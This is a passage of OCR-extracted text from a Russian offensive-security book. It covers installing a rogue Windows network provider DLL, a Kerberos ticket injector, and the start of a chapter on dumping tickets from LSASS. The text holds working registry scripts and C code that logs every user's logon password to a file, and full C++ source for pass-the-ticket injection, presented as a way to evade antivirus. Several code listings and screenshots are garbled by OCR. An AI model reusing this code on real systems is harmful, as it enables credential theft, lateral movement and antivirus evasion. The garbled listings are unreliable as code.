строго по очереди. Все указанные в реестре провайдеры будут загружены в
При входе пользователя
Winlogon
MPR.
вызывает соответствующую функцию из
MPR,
который, в свою очередь, дергает каждый диспетчер учетных данных, уведомляя
его о том, что пользователь входит в систему или изменяет пароль своей учетной
записи.
Но, к сожалению, этот способ уже считается устаревшим. Поэтому не могу гаран
тировать успешность работы на каждой машине с
Windows.
Добавление в систему
MPR извлекает все доступные
провайдеры из следующего ключа реестра:
НКLМ\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
Есть несколько вариантов добавления собственного провайдера. Проще всего вос
пользоваться скриптом. Обратите внимание, что в таком случае имя вашей
должно иметь вид spy.dll (рис.
DLL
7.16):
$path = Get-ItemProperty -Path "HКLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"
-Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",spy"
S~t-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
New-Item -Path
New-Item -Path
HКLМ:\SYSTEM\CurrentControlSet\Services\spy
HКLM:\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider
134
Часть
11.
Системное программирование для хакеров
New-ItemProperty -Path HКLM:\SYSTEM\CurrentControlSet\Services \ spy \ NetworkProvider -Name
"Class" -Value 2
New-ItemProperty -Path HКLM:\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider -Name
"Name" -Value spy
New-ItemProperty -Path HКLМ:\SYSTEM\CurrentControlSet \S ervices\spy \N etworkProvider -Name
"ProviderPath" -PropertyType ExpandString -Value "%SystemRoot% \System32 \ spy.dll"
--
,_
""tф
,_
,_
C~W~32\wnf,gfs41
C~W-~32\d,pn>,<111
CN:~Windows Н.,drw1r1t Compltibllity Publit.ker, O:.Mкrosoft Corponltion, l:,Redmond, S:11Wnhin9ton, C:11US 11"-'12.О
CNa.Мiaoюft W ~ OaMicf'OIOft Corporation, liiRedmond, 5,,.Wasfiington. C:a:US
10.0. 17763.3286 (Winlk,ild.1
\.wlmlnWorЬtмion
C~W~Э~I
CN1:Иctosoft Windows,
-
C:\W~}~dll
CN:Мiaoюft W ~ _o:Miaoюft Corpor,tion, L:1:Redmond, SaW1shington, C:US
Рис.
OaMictOIOft Corporation, l=Redrnond,
7.16.
~Wиhington,
10.0.177633286 (Win8uikt.1
C:US
10.0.17763.1 {WinВuiki.1601
-·
Добавление в систему
То же самое можно сделать вручную:
1.
Копируем нашу
2.
Добавляем строку spy в конец ProviderOrder в следующем ключе:
DLL (spy .dll)
в папку C:\Windows\System32.
HКLМ\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
3.
Создаем ключ:
HКLМ\SYSTEM\CurrentControlSet \ Services \ spy \N etworkProvider
И указываем в нем следующие данные:
"Class" = [REG_DWORD]2
"ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot %\System32 \ spy.dll"
"Name" = [REG_SZ]"spy"
После чего вы можете проверить настройки следующим образом:
$providers = Get-ItemProperty -Path
"HКLМ:\SYSTEM\CurrentControlSet\Control\NetworkProvider\
Order" -Name ProviderOrder
$arrExp=@ ()
foreach ($prov in ($providers.Provider0rder -split ', '))
{
$row = New-Object psobject
$row I Add-MemЬer -Name "Name"
$dllPath = (Get-ItemProperty
-MemЬerType
NoteProperty -Val ue $prov
"HКLМ:\SYSTEM \ CurrentContr olS et \ Services \$p rov\
NetworkProvider" -Name ProviderPath) .ProviderPath
$row I Add-MemЬer -Name "DllPath" -MemЬerType NoteProperty -Value $dllPath
$signature = Get-AuthenticodeSignature -FilePath $dl1Path
$certSuЬject = ""
if ($signature.Status.value_ -eq О) #valid
$certSuЬject
$row
$row
Add-MemЬer
Add-MemЬer
=
$signature.SignerCertificate.SuЬject
-Name "Signer" -MemЬerType NoteProperty - Value $c ertSuЬject
-Name "Version" -MemЬerType NoteProperty -Value (Get-Command
$dl1Path) .FileVersioninfo.FileVersion
Глава
7.
Поставщик небезопасности. Как
$row I
Add-MernЬer
-Name "Description"
Windows раскрывает пароль
пользователя
135
NoteProperty -Value (Get-Coппnand
$dl1Path) .FileVersion!nfo.FileDescription
-MernЬerType
$arrExp += $row
if (Test-Path
VariaЫe:PSise)
$arrExp
I
OUt-GridView
$arrExp
I
Foпnat-List
else
Перехват пароля
Для перехвата пароля мы воспользуемся функцией NPLogonNotify () . МРR вызывает
эту функцию для уведомления диспетчера учетных данных о том, что произошел
успешный вход в систему. Диспетчер УД, получив такое сообщение, может вернуть
сценарий входа (какой-нибудь скрипт, который должен выполниться).
Прототип у функции следующий:
DWORD NPLogonNotify(
[in) PLUID lpLogon!d,
[in) LPCWSTR lpAuthent!nfoType,
[in) LPVOID lpAuthent!nfo,
[in] LPCWSTR lpPreviousAuthent!nfoType,
[in] LPVOID lpPreviousAuthent!nfo,
[in) LPWSTR lpStationName,
[in] LPVOID StationНandle,
[out] LPWSTR *lpLogonScript
1;
Обратите внимание на второй параметр (lpAuthentinfoType}. В зависимости от типа
входа он будет иметь разные значения:
MSVl 0:Interactive
Kerberos:Interactive
В третьем параметре (lpAuthentinfo), опять же в зависимости от типа входа, будут
лежать разные структуры. В случае
MSVl_O
он будет содержать следующие зна
чения:
typedef struct _MSVl_0_INTERACTIVE_LOGON {
MSVl_0_LOGCN_SUBMIT_TYPE MessageType;
UNICODE STRING
LogonDomainName;
UNICODE STRING
UserName;
UNICODE STRING
Password;
MSVl_0_INTERACTIVE_LOGON, *PMSVl_0_INTERACTIVE_LOGON;
Часть
136
А в случае «Кербероса»
typedef struct
-
11.
Системное программирование для хакеров
такие:
_КERВ_INTERACTIVE_LOGON
КERВ_LOGON_SUBMIT_TYPE
UNICODE STRING
UNICODE STRING
UNICODE STRING
КERВ_INTERACTIVE_LOGON,
MessageType;
LogonDomainName;
UserName;
Password;
*PКERВ_INTERACTIVE_LOGON;
Соответственно, если мы планируем перехватить
дом:
#include <Windows.h>
#define
#define
#define
#define
#define
WNNC
WNNC
WNNC
WNNC
WNNC
-
SPEC VERSION
SPEC VERSION51
NET ТУРЕ
START
WAIT- FOR- START
0x0000000l
Ох00050001
Ох00000002
ОхОООООООС
0x0000000l
typedef struct _UNICODE_STRING
(
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
UNICODE_STRING, * PUNICODE_STRING;
typedef enum _MSVl
О
LOGON_SUBMIT_TYPE
(
MsVl_0interactiveLogon = 2,
MsVl_0Lrn20Logon,
MsVl_0NetworkLogon,
MsVl_0SuЬAuthLogon,
MsVl_0WorkstationUnlockLogon = 7,
MsVl_0S4ULogon = 12,
MsVl_0VirtualLogon = 82,
MsVl_0NoElevationLogon = 83,
MsVl_0LuidLogon = 84,
MSVl О LOGON_SUBMIT_TYPE, * PMSVl_0_LOGON_SUBMIT_TYPE;
typedef struct _MSVl
О
INTERACTIVE_LOGON
(
MSVl_0_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE STRING UserName;
UNICODE STRING Password;
MSVl О INTERACTIVE_LOGON, * PMSVl О INTERACTIVE LOGON;
MSV 1_ О,
воспользуемся этим ко
Глава
7.
Поставщик небезопасности. Как
Windows раскрывает пароль
пользователя
void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
hFile;
DWORD dwWritten;
НANDLE
hFile = CreateFile(TEXT("C:\\spy.txt"),
GENERIC_WRITE,
о,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORМAL,
NULL);
if (hFile != INVALID- НANDLE - VALUE)
SetFilePointer(hFile, О, NULL, FILE_END);
WriteFile(hFile, username->Buffer, username->Length, &dwWritten,
WriteFile(hFile, L" -> ", 8, &dwWritten, О);
WriteFile(hFile, password->Buffer, password->Length, &dwWritten,
WriteFile(hFile, L"\r\n", 4, &dwWritten, О);
CloseHandle(hFile);
declspec(dllexport) DWORD APIENTRY NPGetCaps(
DWORD nindex
switch (nindex)
case WNNC SPEC VERSION:
return WNNC SPEC VERSIONSl;
case WNNC NET ТУРЕ:
return WNNC CRED
МANAGER;
case WNNC START:
return WNNC WAIT FOR START;
default:
return
О;
declspec(dllexport) DWORD APIENTRY NPLogonNotify(
PLUID lpLogonid,
LPCWSTR lpAuthinfoType,
О);
О);
137
Часть
138
11.
Системное программирование для хакеров
LPVOID lpAuthlnfo,
LPCWSTR lpPrevAuthlnfoType,
LPVOID lpPrevAuthlnfo,
LPWSTR lpStationName,
LPVOID StationНandle,
LPWSTR* lpLogonScript
SavePassword(
&(((MSVl_0_INTERACTIVE_LOGON*)lpAuthlnfo)->UserNarne),
&(((MSVl_0_INTERACTIVE_LOGON*)lpAuthlnfo)->Password)
);
lpLogonScript = NULL;
return WN_SUCCESS;
После чего выходим из системы. И заново логинимся. Пароль будет сохранен в файл
(рис.
7.17).
spy.txt- Бnокнот
Ф. ~
ПрАВП
Формп
Вид
CnpABU
Hichael -> whosaidssp
Hichael -> whosaidssp
Рис.
7.17.
Пароль будет сохранен в файл
Заключение
Получиrь пароль пользователя
Windows в
чистом виде не очень-то и сложно. В ауген
тификации участвует слишком много компонентов, что создает большую угрозу
для безопасности. Но использование поставщиков безопасности на этом не закан
чивается. В следующих разделах мы напишем АР, который создаст буквально вто
рой пароль для пользователя, эдакий
linux-pam-backdoor)
для
Windows,
pam_backdoor (https://github.com/zephrax/
MSV 1_ О пересылать нам
а также заставим
учетные данные не только от интерактивной, но и от неинтерактивной аутентифи
кации.
ГЛАВА
8
Долой Mimikatzl
Инжектим тикеты своими руками
pass the ticket необходимо внедрить в ском
прометированную систему билет Kerberos. Обычно для этого используются инст
рументы вроде Mimikatz, Impacket или Rubeus, но они отлично палятся антивиру
Для реализации целого ряда атак типа
сами, что делает такой подход неэффективным. В этой главе я подробно рассмотрю
методы решения этой задачи без вспомогательных инструментов, с использованием
только
WinAPI
н магн11.
В предыдущей главе я рассказал об
Authentication Package, Security Package,
и мы
успешно перехватили пароль пользователя. Но этого мало, не так ли? Следующим
Kerberos для реализации атаки pass the ticket. Само
Impacket мы использовать не будем. Абсолютно все
силами (ну и с использованием стандартного Win32 API).
шагом будет внедрение билетов
собой, никакого
Mimikatz
будет сделано своими
и
Получение тикета
Тикет передается атакующему, например при дампе, в формате
ром»
Base64 -
в «сы
виде тикет может иметь непечатаемые символы, что приведет к выводу на
экран непонятно чего. В связи с этим, чтобы наш код мог инжектить рабочие тике
ты,
следует предусмотреть
в нем
возможность декодировать
полученную строку.
Предлагаю создать файл stuff.h, в котором реализуем простенькую функцию для
декодирования значения
Base64.
Дополнительно поместим туда все заголовочные
файлы, которые потребуются нам в будущем.
#pragma once
#define WIN32 NO STATUS
#def1ne SECURITY WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#include <string>
Часть
140
11.
Системное программирование для хакеров
#define NT SUCCESS (Status) ( ( (NТSTATUS) (Status)) >= О)
#pragma conunent (lib, "Secur32.lib")
static char encoding_taЫe[]
( 'А', 'В', 'С', 'О', 'Е', 'F', 'G',
'I', 'J''
•к1,
'L',
'М',
'N',
'О',
'Н',
'Р',
,u1, 'V'' 'W'' 'Х',
'с'' 'd', 'е'' 1 f 1 /
j
, l', 'rn'' 'n''
1
1
1
/
I
i
I
'k',
'g'' 'h''
,
r,,
S
1
I
1t I f
'о', 'р'' 'q''
'u'' 'v''
z
12 1,
1
1
/
О
1
1
/
'w', 'х'' 'у''
t 1 •'
'3''
14', '51' 161, 17', 18'' '9'' 1 +'' '/' );
'Q',
'R'' 'S',
•у•,
1
z
I I
'а',
'Т',
'Ь',
f
static char* decoding- tаЫе = NULL;
static int mod_ tаЫе [] = { о, 2, 1 );
void build_decoding taЬle(};
unsigned char* base64_decode(const char* data, size t input_length, size t* output_length);
void build_decoding_taЬle(} (
(char*)malloc(256);
== NULL) (
decoding_taЫe =
if
(decoding_taЬle
exit(-1);
for (int i
= О;
i < 64; i++)
(unsigned char)encoding
decoding_taЫe[
taЬle[i]]
i;
unsigned char* base64_decode(const char* data, size_t input_length, size t* output_length)
if
NULL)
(decoding_taЫe ==
if (input length % 4 !=
О)
build_decoding_taЫe();
return NULL;
*output length = input length / 4 * 3;
if (data[input length - 1] == '=') (
(*output_length)--;
if (data[input_length - 2] == '=') (*output_length)--;
unsigned char* decoded data = (unsigned char*)malloc(*output length);
if (decoded data
NULL) return NULL;
for (int i
=
о,
О;
j
DWORD sextet
а
DWORD sextet
Ь
DWORD sextet
с
DWORD sextet d
i < input length;)
data[i]
data[i]
data[i]
data[i]
?
о &
'=' ?
'=' ?
'=' ?
о &
·=·
о &
о &
i++
i++
i++
i++
decoding_taЫe[data[i++]];
decoding_taЫe[data[i++]];
decoding_taЬle[data[i++]];
decoding_taЫe[data[i++]];
Глава В. Долой
DWORD
+
+
+
Mimikatz! Инжектим тикеты
своими руками
141
triple = (sextet_a << 3 * 6)
(sextet Ь << 2 * 6)
(sextet_c << 1 * 6)
(sextet _d « о * 6);
if (j < *output- length) decoded_data[j++]
if (j < *output_length) decoded_data[j++]
if (j < *output_length) decoded_data[j++]
(triple » 2 * 8) & OxFF;
(triple » 1 * 8) & OxFF;
(triple » о * 8) & OxFF;
return decoded data;
Тик::r нашей программе мы будем передавать через аргументы командной строки.
Создадим файл Source.cpp с таким содержимым:
#include "stuff.h"
void usage ()
std: :cout << "ptt.exe
<Ь64
ticket>" << std::endl;
int main(int argc, char** argv) (
if (argc != 2)
usage();
return 1;
unsigned int kirbiSize = О;
char* ticket = argv[l];
unsigned char* kirbiTicket = base64_decode(ticket, strlen(ticket), &kirbiSize);
if (kirbiSize == О) (
std::wcout « L"[-] Error converting frorn Ь64" « std::endl;
return 1;
В этом файле мы получаем второй аргумент, содержащий закодированный в Base64
тикет. Первый
-
это имя программы: например, в случае вызова prog.exe
в argv[0J будет prog.exe, а в argv[l] -
123
123. После чего вызываем функцию для декоди
рования, проверяем, что размер изменился. Ведь если изменился размер, значит,
что-то (может, даже и успешно) декодировалось.
Подключение к
LSA
Именно процесс службы
LSA
тикеты. Внутри процесса
lsass.exe подгружена kerЬeros.dll, которая и реализует все
будет хранить в своем адресном пространстве все
функции одноименного протокола. Так или иначе, следует отличать
TGT
от
TGS,
Часть
142
11.
Системное программирование для хакеров
да и в принципе понимать работу «Кербероса». Вот видеоролики, которые позволят
новичкам разобраться в теме:
□ Керберос. Использование аутентификационных протоколов
вании на проникновение:
Windows в тестиро
https://www.youtube.com/watch?v=qZPvgoUzCdl;
□ Школа информационной безопасности «Яндекса».
Windows & AD:
https://www.youtube.com/watch?v=_Yuu4RaMWDY.
Подключиться к
LSA
несложно, для этого есть две специальные функции.
NTSTATUS LsaRegisterLogonProcess(
[in] PLSA_STRING
LogonProcessNarne,
[out] PНANDLE
Lsaнandle,
[out] PLSA_OPERATIONAL_MODE SecurityMode
);
NTSTATUS LsaConnectUntrusted(
[out] PНANDLE LsaHandle
);
Первая позволяет получить хендл на
LSA
от лица процесса входа в систему. Эту
функцию, например, вызывает winlogon.exe во время входа пользователя в систему.
С помощью полученного таким образом хендла появится возможность использо
вать
LSA для
аутентификации, управления пользовательским входом и доступом.
Вторая функция достаточно незамысловата
-
просто подключение к
LSA
от лица
«недоверенного» процесса. Само собой, в этом случае нельзя будет использовать
LSA
для аутентификации, но возможность простого взаимодействия с подгружен
ными пакетами аутентификации останется. Для нас предпочтительнее именно этот
вариант.
lsa_handle = NULL;
NTSTATUS status = LsaConnectUntrusted(&lsa_handle);
if (!NT_SUCCESS(status) 11 !lsa_handle) {
std: :wcout « L"[-] Error connecting to lsa: "« LsaNtStatusToWinError(status) «
std: :endl;
return 1;
НANDLE
Здесь мы получаем хендл на
LSA,
а затем проверяем с помощью ранее созданного
макроса NT_succEsso (лежит в stuff.h), что функция успешно сработала.
#define NT_SUCCESS (Status) ( ( (NTSTATUS) (Status)) >=
О)
Если что-то пошло не так, дергаем LsaNtStatusтowinError (). Эта функция позволяет
конвертировать непонятный код, с которым завершилась функция, в человеческий
код ошибки. Чтобы узнать, в чем дело, скопируйте полученное значение и сравните
его с ошибками в документации Microsoft (https://learn.microsoft.com/ru-ru/
windows/win32/debug/system-error-codes--0-499-).
Глава
8.
Долой
Mimikatz!
Инжектим тикеты своими руками
143
Обнаружение АР
У
LSA
каждый
Authentication Package
идентифицируется специальным номером,
эдаким «айдишником», благодаря которому система понимает, с чем требуется
взаимодействовать для реализации функций безопасности. Это числовое значе
ние абсолютно рандомно, оно присваивается самой
резагрузки
Для
системы.
получения
этого
где и хранится до пе
LSA,
номера
используется
функция
LsaLookupAuthenti cationPackage (1 (https://learn.microsoft.com/en-us/windows/win32/api/
п tseca pi/ nf-n tseca pi-lsaloo ku ра u thentica tio n package).
NTSTATUS LsaLookupAuthenticationPackage(
LsaHandle,
[ in] НANDLE
[in] PLSA_STRING PackageName,
AuthenticationPackage
[out] PULONG
1;
Первым
параметром
мы
передаем
хендл
LSA,
полученный
вызовом
LsaconnectUntrusted (1, а дальше начинаются проблемы. Функция просит передать ей
(https://learn.microsoft.com/en-us/windows/win32/api/
LSA_STRING
структуру
lsalookup/ns-lsalookup-lsa_string),
которая выглядит вот так:
typedef struct _LSA_STRING
USHORT Length;
USHORT MaximumLength;
Buffer;
РСНАR
LSA_STRING, *PLSA_STRING;
У меня далеко не с первого раза получилось корректно инициализировать ее. По
этому, чтобы не мучиться в будущем, я реализовал небольшую функцию, прини
мающую имя пакета аутентификации и возвращающую заполненную структуру:
LSA_STRING* create_lsa_string(const char* value)
char* buf = new char[l00];
LSA- STRING* str = (LSA- STRING*)buf;
str->Length = strlen(value);
str->MaximumLength = str->Length;
str->Buffer = buf + sizeof(LSA STRING);
memcpy(str->Buffer, value, str->Length);
return str;
// Вызов
PLSA_STRING lsaString
=
create_lsa_string("kerberos");
ULONG authenticationpackage = О;
status = LsaLookupAuthenticationPackage(lsa_handle, lsaString, &authenticationpackage);
if (authenticationpackage == 0) (
std::wcout « L"[-] Error LsaLookupAP: "« LsaNtStatusToWinError(status) « std::endl;
Часть
144
11.
Системное программирование для хакеров
return 1;
std: :wcout « L" [?] Package id " « authenticationpackage « std: :endl;
Если вызов был успешен, то
LSA
вернет нам этот самый «айдишнию> АР KerЬeros,
с помощью которого мы сможем взаимодействовать через
LSA
с Kerberos.dll.
Внедрение билета
Осталось лишь отдать билет
Kerberos
ции.
с
Для
взаимодействия
LsaCallAuthenticationPackage ()
в соответствующий АР для его инициализа
конкретным
АР
LSA
предоставляет
функцию
(https:/Лearn.microsoft.com/en-us/windows/win32/api/
ntsecapi/nf-ntsecapi-lsacallauthenticationpackage),
которую мы и будем использо
вать для внедрения билета:
NТSTATUS
[in]
[in]
[in]
[in]
[out]
[out]
[out]
LsaCallAuthenticationPackage(
НANDLE
LsaНandle,
ULONG
AuthenticationPackage,
ProtocolSuЬmitBuffer,
PVOID
ULONG
SuЬmitBufferLength,
PVOID
*ProtocolReturnВuffer,
ReturnВufferLength,
PULONG
PNTSTATUS ProtocolStatus
);
Первым параметром указывается тот же хендл на
циях, вторым
-
LSA,
что и в предыдущих функ
«айдишник» пакета аутентификации. Далее в ProtocolSuЬmitBuffer и
SuЬmitBufferLength следует передать информацию, которую мы хотим сообщить паке
ту
аутентификации
(в
нашем
случае
это
ТGТ-билет).
В
ProtocolReturnВuffer,
ReturnВufferLength сам АР может поместить данные, которые хочет вернуть програм
ме. Наконец, последним параметром возвращается идентификатор ошибки.
Просто взять и засунуть билет в вызов этой функции не получится. На текущем
этапе наш билет находится в переменной kirЬiTicket. Сначала следует сгенерировать
_
_
структуру КЕRВ SUВМIT ТКТ
typedef struct
_REQUEST:
{
MessageType;
_КERВ_SUBMIT_TКТ_REQUEST
КERB_PROTOCOL_МESSAGE_TYPE
LUID Logonld;
ULONG Flags;
КЕRВ_СRУРТО_КЕУ32 Кеу;
ULONG KerbCredSize;
ULONG KerЬCredOffset;
КERВ_SUВMIT_TКТ_REQUEST,
*PКERВ_SUВМIT_TКТ_REQUEST
Здесь используются следующие параметры:
□ MessageType
(https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nentsecapi-kerb__protocol_ message_ type) - определяет типы сообщений, которые
мы можем передать в АР KerЬeros. Для инжекта тикета мы будем передавать
Глава В. Долой
Mimikatz! Инжектим
тикеты своими руками
145
KerbSuЬrnitTicketMessage. Это означает процедуру получения тикета от КDС и об
новление кеша билетов;
уникальный идекrификатор текущей сессии, позволяющий АР иден
□ Logonid -
тифицировать, к какой сессии применять тикет (если не указано, то АР KerЬeros
определит
□ Flags -
LUID самостоятельно);
дополнительные флаги;
(https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapikerb_crypto_key) - структура, содержащая информацию о сессионном ключе
□ кеу
для тикета KerЬeros;
□ KerЬCredSize, KerЬCredOffset
в случае инжекта тикета в первый параметр переда
-
ем размер тикета, а во второй
сдвиг. Сдвиг определяет размер этой струюу
-
ры. Так как мы будем передавать в АР тикет и эту структуру, то АР должен
знать, начиная с какого смещения лежит тикет.
Корректная передача билета в АР KerЬeros выглядит вот так:
NТSTATUS
DWORD
packageStatus;
responseSize;
suЬmitSize,
PКERВ_SUВМIT_ТКТ_REQUEST pKerЬSuЬmit;
PVOID dumPtr;
suhmitSize = sizeof(КERВ_SUВМIT_ТКТ_REQUEST) + kirbiSize;
if (pKerЬSuЬmit = (PКERВ_SUВНIT_ТКТ_REQUEST)LocaШloc(LPТR,
suЬmitSize))
(
pKerЬSuЬmit->MessageType
pKerЬSuЬmit->KerЬCredSize
=
KerЬSuЬmitTicketМessage;
= kirbiSize;
pKerЬSuЬmit->KerЬCredOffset
=
sizeof(КERВ_SUВМIT_ТКТ_REQUEST);
RtlCopyМemory((PBYТE)pKerЬSuЬmit
+
pKerЬSuЬmit->KerЬCredOffset,
kirbiTicket,
pKerЬSuЬmit->KerЬCredSize);
status = LsaCallAuthenticationPackage(lsa_handle, authenticationpackage,
suhmitSize, &dumPtr, &responseSize, &packageStatus);
if (NТ_SUCCESS(status))
pKerЬSuЬmit,
(
if
(NТ_SUCCESS(packageStatus))
(
std::wcout << L"[+] Injected\n" << std::endl;
status = ОхО;
else if (LsaNtStatusToWinError(packageStatus) = 1398) (
std::wcout << L"[! ! !!] ERROR_TIМE_SКEW Ьetween КОС and host computer" <<
std::endl;
else std: :wcout « L" [-]
else std::wcout << L"[-J
/ Package : " «
LsaNtStatusToWinError(packageStatus)
KerЬSuЬmitTicketМessage
KerЬSuЬmitTicketМessage
« "\n";
:" << LsaNtStatusToWinError(status) <<
"\n";
Часть
146
11.
Системное программирование для хакеров
LsaDeregisterLogonProcess(lsa_handle);
return
О;
Сначала мы рассчитываем размер всех данных, которые будут переданы в АР. Этот
размер равен размеру структуры КERв_suвмrт_TGT_REQUEST (чтобы АР понял, что нам от
него надо) плюс размер тикета. Далее под эту структуру выделяется память, после
чего инициализируются ее элементы.
В pKerbSuЬmit->KerbCredOffset мы помещаем размер структуры, чтобы «Керберос»
знал, что по адресу pKerbSuЬmit
+
pKerbSuЬmit->KerbCredOffset будет лежать тикет разме
ром pKerbSuЬmit->KerbCredSize (KirЬiSize). Копируем по рассчитанному адресу тикет,
после чего вызываем АР с передачей инициализированной структуры. Затем прове
ряем код ошибки дважды. Первый код ошибки (status) вызове
самой
(packagestatus) -
функции,
например
если
возможная проблема при
lsa _handle невалидный. А второй код
код ошибки непосредственно самого АР, например если мы пере
дадим неправильный размер.
Причем я вынес в отдельный блок проверку на ошибку ERROR _ТIМЕ _ SКEW, которая по
является из-за расхождения (более пяти минут) во времени между хостом и КОС.
Если подобная разница присутствует, то ТGТ-билет не может быть обновлен из-за
того, что невозможно корректно пройти этап предаутентификации. Да, тикет полу
чится использовать, но лишь до тех пор, пока он не протухнет. По умолчанию вре
мя жизни ТGТ-билета-десять часов.
После этого тикет будет успешно внедрен в процесс lsass.exe и мы сможем его ис
пользовать. Функцией LsaDeregisterLogonProcess ( 1 мы просто освобождаем хендл на
LSA.
Проверка
Остается лишь проверить работоспособность кода. Полный код проекта представ
лен на
GitHub
(https://github.com/МzHmO/articles/tree/mainfficket%20Injector).
Сначала мы получим валидный ТGТ-билет любым удобным способом. Например,
с помощью
Rubeus
.\RuЬeus.exe
tgtdeleg /nowrap
(рис.
8.1 ):
Переместимся на другую систему и проведем инжект (рис.
.\project.exe
<Ь64
8.2):
ticket>
Заключение
Множество атак можно реализовать без использования популярных и общеизвест
ных инструментов. У такого подхода есть как минимум одно преимущество: из-за
уникальности кода, использования легитимных АР( и отсутствия в сигнатурных
базах появляется возможность обойти антивирусное ПО в два счета. Я загрузил
Глава
8. Долой Mimikatz'
Инжектим тикеты своими руками
Рис.
8.1.
Получение тикета
Рис .
8.2.
Инжект
147
Часть
148
свой проект на
VirusTotal,
11.
Системное программирование для хакеров
не сделав абсолютно никакой обфускации и защиты. Вот
как есть, так и закинул, со всеми подозрительными строками, например
и получил всего три детекта (рис.
[+J
Injected,
8.3).
Как вы понимаете, если мы зальем туда
Mimikatz, Rubeus
или другой подобный
инструмент, который умеет выполнять внедрение билетов, то детектов будет на
порядок больше.
--
51П65oЭOIIQ(502&bll215!11!ielccD11rYtsW
• -- о
DEТEC110N
OEТAI..S
.................
--
IIEtWIIClit :)
фт... ..._•.3009081S98
~(St8iclil..}
0 -0 ...........
0 -
-""'
0 -
е 1..Ы8'кt«:1
..... ..,_
0 LЬWю•
а....,
0
с...&м<, ,-
0 -
-
--
Ф-
""'
.....
1,...• •
,,
,__,__
ф lropn.
1".Ус
2023-03-31•:31.ззuтс
COl8U81Y
---- ф
.........,
eo.oom
SIZ'I
aC2t::::51"-n!llbl3
_,,,
..
tblllкted
см:
Рис.
8.3.
Результат проверки на
Oaya&1_.,• ..._...chldw7
Ф---•----
0 """"""""
9 ._._....
0 0 <nW.....
., ...
r ·r,
0 @ Ur.t.tюed
0 0 - ....
0 VirusTotal
..
t:
i
•
ГЛАВА
9
Как дампить тикеты Kerberos
на С++
Kerberos
предоставляет множество функций для ауrентификации пользователей.
Основным «кирпичиком» считаются тикеты, которые в ходе тестирования на про
никновение атакующий хотя бы раз дампит из памяти процесса
LSASS.
Давайте
разберемся, как можно решить эту задачу, не прибегая к сложным инструментам.
Тикеты KerЬeros бывают двух видов:
Granting Service ).
TGT (Ticket Granting Ticket)
и
TGS (Ticket
Для их дампа используются популярные инструменты, которые
давно известны и системным администраторам, и тем более команде защитников.
Каждый раз обфусцировать или криптовать тот же
Mimikatz как
минимум трудоза
тратно, поэтому я решил разобраться в том, как работает дамп тикетов с систем
Windows.
Kerberos
В главе
7я
АР
подробно рассказал, что такое
SSP, SP
и АР. Теперь пора начинать ими
злоупотреблять по-настоящему! Мы будем обращаться к АР KerЬeros и доставать
из него билеть1. Эrот АР по умолчанию всегда присуrствует в процессе lsass.exe,
поэтому для взаимодействия с ним будуr использоваться стандартные
нужны для работь1 с
LSA
(рис.
API,
которые
9.1).
Нам потребуется всего несколько функций:
□ Lsaconnectuntrusted
(https://learn.microsoft.com/en-us/windows/win32/api/
ntsecapi/nf-ntsecapi-lsaconnectuntrusted);
□ LsaRegisterLogonProcess
(https://learn.microsoft.com/en-us/windows/win32/api/
ntsecapi/nf-ntsecapi-lsaregisterlogonprocess);
□ LsaGetLogonSessionData
(https://learn.microsoft.com/en-us/windows/win32/api/
ntsecapi/nf-ntsecapi-lsagetlogonsessiondata);
□ LsaEnumerateLogonSessions
(https://learn.microsoft.com/en-us/windows/win32/api/
ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions );
Часть
150
//.
Системное программирование для хакеров
о
H&<ter Vif'W Tools W.n Help
-~ Refrnh О Options
Рrос:м111
S.МС••
I А Find hendltl Of ou..,
~ Systrm in1ormation
G«ltfal SIМIIOct l'wformlnot ТЬrucft тoun
I о а ,с
Не1М
Ntt,i,,orlc O.k
PID
3580
N,m,
v ..-.. Starchlndexer.ьe
. Surd\ProtocolНo..
.Q., SarchFiltюiost.L
CPU
"""
8168
-
1/О
dnмcll,dl
0.03
,,
0,1-i
• 336
002
OЬsidian.eu
Oмidlanьe
2056
10904
11096
11248
111 28
2592
11904
10752
-i380
OЬsktiaмxe
О T~ram.l!U
◄ 148
0 AquaSNp.Dиmon.x..
~
v
t
O AQuaSn,p.Dp!Aw1re~ICrypt.exe
OЬsidlan.ue
OЬsidian.eц
t
f
f
t
у
00 deYefw.exe
S860
12160
~
..
M kroюttServiceHuь_
S464
SМic1:HuЬ.VSDet..
6396
9004
4968
~eHuЬJМntiL
SeviuHuЬ.Settin...
O:Ofl"t9a190. -
о.оз
&2ЗkВ/s
0,13
Ь4.39k8/s
~13
00fl't72b,O...
1'4 t1
ОО1!'972Ь.О...
1 , 1~МI
Oll'7fl'9&ala0....
r.d181c.dl
I01911'1cd00 ...
gcl01.dl
1Ь:7"'9t.Э7сОО ...
CЬO'fl'JnЫO ...
gdlШuA,dl
....
160d
1,61М1
--.C.dl
.t.d.dl
o:iolftl1Ь40...
gmмclll!IC.dl
}4,23 kS/s
S7,6'kB/5
1",98kS/s
ОЛ!
~ 1 0...
pr,1.dl
lnltLdl
OIOfМfc-40000
lmlgtl!lp.111
J'tt../lN'LOU.
OX7ff'hlf6000D
o:ofl'МUCIO. ..
o.m.ouo...
_lojnl.d.dl
Oк1f\f9.0.00. ..
tocpw.dll
llмМrol.dl
O:Off'hOl!O...
Ox1f\l'h0l:400...
OIOffhOc.lOQ_
Ul'lllt.8Pf'COl'8.dl
ООfМ1с7оооо
КtrЬCll8nl5,.,.,_ __
..-.,.Ш.dll
к..-.м.dl
~
.dl.mul
..,ЬO.dl
nklEF'Sut8ty-lЬ'.,.,
2Ntl WlnclowlNТAll&lcrv,tlOn O ...
1nt1 G0IOitntDU.
1.06 М1 ,01 Clltnt OU.
S6tl ·91"18d1trit.lml.JNI("
